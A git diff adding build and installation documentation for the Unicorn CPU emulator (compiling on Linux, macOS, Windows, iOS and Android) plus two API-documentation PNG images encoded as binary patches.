+By default, all 6 architectures are compiled. If this is what you want, skip +to the section 2. + +The other way of customize Unicorn without having to edit config.mk is to +pass the desired options on the commandline to ./make.sh. Currently, +Unicorn supports 4 options, as follows. + + - UNICORN_ARCHS: specify list of architectures to compiled in. + - UNICORN_STATIC: build static library. + - UNICORN_SHARED: build dynamic (shared) library. + - UNICORN_QEMU_FLAGS: specify extra flags for qemu's configure script + +To avoid editing config.mk for these customization, we can pass their values to +make.sh, as follows. + + $ UNICORN_ARCHS="arm aarch64 x86" ./make.sh + +NOTE: on commandline, put these values in front of ./make.sh, not after it. + +For each option, refer to docs/README for more details. + + + +[2] Compile and install from source on *nix + +To build Unicorn on *nix (such as MacOSX, Linux, *BSD, Solaris): + +- To compile for current platform, run: + + $ ./make.sh + + On Mac OS, to build non-universal binaries that includes only 64-bit code, + replace above command with: + + $ ./make.sh macos-universal-no + +- To cross-compile Unicorn on 64-bit Linux to target 32-bit binary, + cross-compile to 32-bit with: + + $ ./make.sh linux32 + + After compiling, install Unicorn with: + + $ sudo ./make.sh install + + For FreeBSD/OpenBSD, where sudo is unavailable, run: + + $ su; ./make.sh install + + Users are then required to enter root password to copy Unicorn into machine + system directories. + + Afterwards, run ./samples/sample_all.sh to test the sample emulations. + + + NOTE: The core framework installed by "./make.sh install" consist of + following files: + + /usr/include/unicorn/unicorn.h + /usr/include/unicorn/x86.h + /usr/include/unicorn/arm.h + /usr/include/unicorn/arm64.h + /usr/include/unicorn/mips.h + /usr/include/unicorn/ppc.h + /usr/include/unicorn/sparc.h + /usr/include/unicorn/m68k.h + /usr/lib/libunicorn.so (for Linux/*nix), or /usr/lib/libunicorn.dylib (OSX) + /usr/lib/libunicorn.a + + + +[3] Cross-compile for iOS from macOS. + +To cross-compile for iOS (iPhone/iPad/iPod), macOS with Xcode installed is required. + +- To cross-compile for iOS ArmV7 (iPod 4, iPad 1/2/3, iPhone4, iPhone4S), run: + + $ ./make.sh ios_armv7 + +- To cross-compile for iOS ArmV7s (iPad 4, iPhone 5C, iPad mini), run: + + $ ./make.sh ios_armv7s + +- To cross-compile for iOS Arm64 (iPhone 5S, iPad mini Retina, iPad Air), run: + + $ ./make.sh ios_arm64 + +- To cross-compile for all iOS devices (armv7 + armv7s + arm64), run: + + $ ./make.sh ios + +Resulted files libunicorn.dylib, libunicorn.a & tests/test* can then +be used on iOS devices. + + + +[4] Cross-compile for Android + +To cross-compile for Android (smartphone/tablet), Android NDK is required. + +- To cross-compile for Android Arm, run: + + $ NDK=~/android/android-ndk-r20 ./make.sh cross-android_arm + +- To cross-compile for Android Arm64, run: + + $ NDK=~/android/android-ndk-r20 ./make.sh cross-android_arm64 + +Resulted files libunicorn.so, libunicorn.a & tests/test* can then +be used on Android devices. + + + +[5] By default, "cc" (default C compiler on the system) is used as compiler. + +- To use "clang" compiler instead, run the command below: + + $ ./make.sh clang + +- To use "gcc" compiler instead, run: + + $ ./make.sh gcc + + + +[6] To uninstall Unicorn, run the command below: + + $ sudo ./make.sh uninstall + + + +[7] Language bindings + +Look for the bindings under directory bindings/, and refer to README file +of corresponding languages. + + + +[8] Unit tests + +Mac OS X users will also need the GNU version of binutils (for gobjcopy). +It can be easily installed with Homebrew: `brew install binutils`. + +Automated unit tests use the cmocka unit testing framework (https://cmocka.org/). +It can be installed in most Linux distros using the package manager, e.g. +`sudo yum install libcmocka libcmocka-devel`. +On Mac OS X with Homebrew: `brew install cmocka`. +You can also easily build and install it from source. + +You can run the tests by running `make test` in the project directory. If you don't +build some architecture support then the corresponding tests will fail when run. diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-WINDOWS.md b/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-WINDOWS.md new file mode 100644 index 0000000..94744be --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-WINDOWS.md @@ -0,0 +1,184 @@ +To build Unicorn on Windows natively using Visual Studio, see docs under "msvc" +directory in root directory. + +The rest of this manual shows how to cross-compile Unicorn for Windows using +either MingW or Msys2. + +To compile for Linux, Mac OS X and Unix-based OS, see [COMPILE-NIX.md](COMPILE-NIX.md) + +--- + + +[0] Dependencies + +For Windows, cross-compile requires Mingw. At the moment, it is confirmed that +Unicorn can be compiled either on Ubuntu or Windows. + +- On Ubuntu 14.04 64-bit, do: + + - Download DEB packages for Mingw64 from: + + https://launchpad.net/~greg-hellings/+archive/ubuntu/mingw-libs/+build/2924251 + + +- On Windows, install MinGW via package MSYS2 at https://msys2.github.io/ + + Follow the install instructions and don't forget to update the system packages with: + + $ pacman --needed -Sy bash pacman pacman-mirrors msys2-runtime + + Then close MSYS2, run it again from Start menu and update the rest with: + + $ pacman -Su + + Finally, install required toolchain to build C projects. + + - To compile for Windows 32-bit, run: + + $ pacman -S make + $ pacman -S mingw-w64-i686-toolchain + + - To compile for Windows 64-bit, run: + + $ pacman -S make + $ pacman -S mingw-w64-x86_64-toolchain + +- For Cygwin, "make", "gcc-core", "libpcre-devel", "zlib-devel" are needed. + + If apt-cyg is available, you can install these with: + + $ apt-cyg install make gcc-core libpcre-devel zlib-devel + + + +[1] Tailor Unicorn to your need. + +Out of 6 archtitectures supported by Unicorn (Arm, Arm64, M68K, Mips, Sparc, +& X86), if you just need several selected archs, choose which ones you want +to compile in by editing "config.mk" before going to next steps. + +By default, all 6 architectures are compiled. + +The other way of customize Unicorn without having to edit config.mk is to +pass the desired options on the commandline to ./make.sh. Currently, +Unicorn supports 4 options, as follows. + + - UNICORN_ARCHS: specify list of architectures to compiled in. + - UNICORN_STATIC: build static library. + - UNICORN_SHARED: build dynamic (shared) library. + - UNICORN_QEMU_FLAGS: specify extra flags for qemu's configure script + +To avoid editing config.mk for these customization, we can pass their values to +make.sh, as follows. + + $ UNICORN_ARCHS="arm aarch64 x86" ./make.sh + +NOTE: on commandline, put these values in front of ./make.sh, not after it. + +For each option, refer to docs/README for more details. + + + +[2] Compile from source on Windows - with MinGW (MSYS2) + +To compile with MinGW, install MSYS2 as instructed in the first section. + +Note: After MSYS2 is installed, you will have 3 shortcuts to open the command prompt: "MSYS2 MSYS", "MSYS2 MinGW-32 bit" and "MSYS2 MinGW 64-bit". Use the MinGW shortcut so that compilation succeeds. + +Then, build Unicorn with the next steps: + +- To compile Windows 32-bit binary with MinGW, run: + + $ ./make.sh cross-win32 + +- To compile Windows 64-bit binary with MinGW, run: + + $ ./make.sh cross-win64 + +Resulted files unicorn.dll, unicorn.lib & samples/sample*.exe can then +be used on Windows machine. + +To run sample_x86.exe on Windows 32-bit, you need the following files: + + unicorn.dll + %MSYS2%\mingw32\bin\libgcc_s_dw2-1.dll + %MSYS2%\mingw32\bin\libwinpthread-1.dll + +To run sample_x86.exe on Windows 64-bit, you need the following files: + + unicorn.dll + %MSYS2%\mingw64\bin\libgcc_s_seh-1.dll + %MSYS2%\mingw64\bin\libwinpthread-1.dll + + + +[3] Compile and install from source on Cygwin + +To build Unicorn on Cygwin, run: + + $ ./make.sh + +After compiling, install Unicorn with: + + $ ./make.sh install + +Resulted files cygunicorn.dll, libunicorn.dll.a and libunicorn.a can be +used on Cygwin but not native Windows. + +NOTE: The core framework installed by "./make.sh install" consist of +following files: + + /usr/include/unicorn/*.h + /usr/bin/cygunicorn.dll + /usr/lib/libunicorn.dll.a + /usr/lib/libunicorn.a + + + +[4] Cross-compile for Windows from *nix + +To cross-compile for Windows, Linux & gcc-mingw-w64-i686 (and also gcc-mingw-w64-x86-64 +for 64-bit binaries) are required. + +- To cross-compile Windows 32-bit binary, simply run: + + $ ./make.sh cross-win32 + +- To cross-compile Windows 64-bit binary, run: + + $ ./make.sh cross-win64 + +Resulted files unicorn.dll, unicorn.lib & samples/sample*.exe can then +be used on Windows machine. + +To run sample_x86.exe on Windows 32-bit, you need the following files: + + unicorn.dll + /usr/lib/gcc/i686-w64-mingw32/4.8/libgcc_s_sjlj-1.dll + /usr/i686-w64-mingw32/lib/libwinpthread-1.dll + +To run sample_x86.exe on Windows 64-bit, you need the following files: + + unicorn.dll + /usr/lib/gcc/x86_64-w64-mingw32/4.8/libgcc_s_sjlj-1.dll + /usr/x86_64-w64-mingw32/lib/libwinpthread-1.dll + +Then run either "sample_x86.exe -32" or "sample_x86.exe -64" to test emulators for X86 32-bit or X86 64-bit. +For other architectures, run "sample_xxx.exe" found in the same directory. + + + +[5] Language bindings + +Look for the bindings under directory bindings/, and refer to README file +of corresponding languages. + + + +[6] Unit tests + +Automated unit tests use the cmocka unit testing framework (https://cmocka.org/). +It can be installed in most Linux distros using the package manager, e.g. +`sudo yum install libcmocka libcmocka-devel`, or you can easily build and install it from source. + +You can run the tests by running `make test` in the project directory. diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE.md b/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE.md new file mode 100644 index 0000000..a5ec77f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/docs/COMPILE.md @@ -0,0 +1,25 @@ +To compile Unicorn on Mac OS X, Linux, BSD, Solaris and all kind of nix OS, +see [COMPILE-NIX.md](COMPILE-NIX.md) + +To compile Unicorn on Windows, see [COMPILE-WINDOWS.md](COMPILE-WINDOWS.md) + +To compile Unicorn with CMake on Windows or *nix, see +[COMPILE-CMAKE.md](COMPILE-CMAKE.md) + +Then learn more on how to code your own tools with our samples. + + - For C sample code, see code in directory samples/sample*.c + - For Python sample code, see code in directory bindings/python/sample*.py + - For samples of other bindings, look into directories bindings/<language>/ + +#Building unicorn - Using vcpkg + +You can download and install unicorn using the [vcpkg](https://github.com/Microsoft/vcpkg) dependency manager: + + git clone https://github.com/Microsoft/vcpkg.git + cd vcpkg + ./bootstrap-vcpkg.sh + ./vcpkg integrate install + ./vcpkg install unicorn + +The unicorn port in vcpkg is kept up to date by Microsoft team members and community contributors. If the version is out of date, please [create an issue or pull request](https://github.com/Microsoft/vcpkg) on the vcpkg repository. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/ABkexFCfphu3zIg.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/ABkexFCfphu3zIg.png new file mode 100644 index 0000000000000000000000000000000000000000..a82d8e16d461377f47f1ed0d07e31e12d51762a4 GIT binary patch literal 4779 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 QCe%I$8>j2F*Zdy*4-aDhPXGV_ literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/DkztJcigHCdmnRp.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/DkztJcigHCdmnRp.png new file mode 100644 index 0000000000000000000000000000000000000000..95f43f59f9a90d1fe5d7c0f5abb320635b63eb9e GIT binary patch literal 4174 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 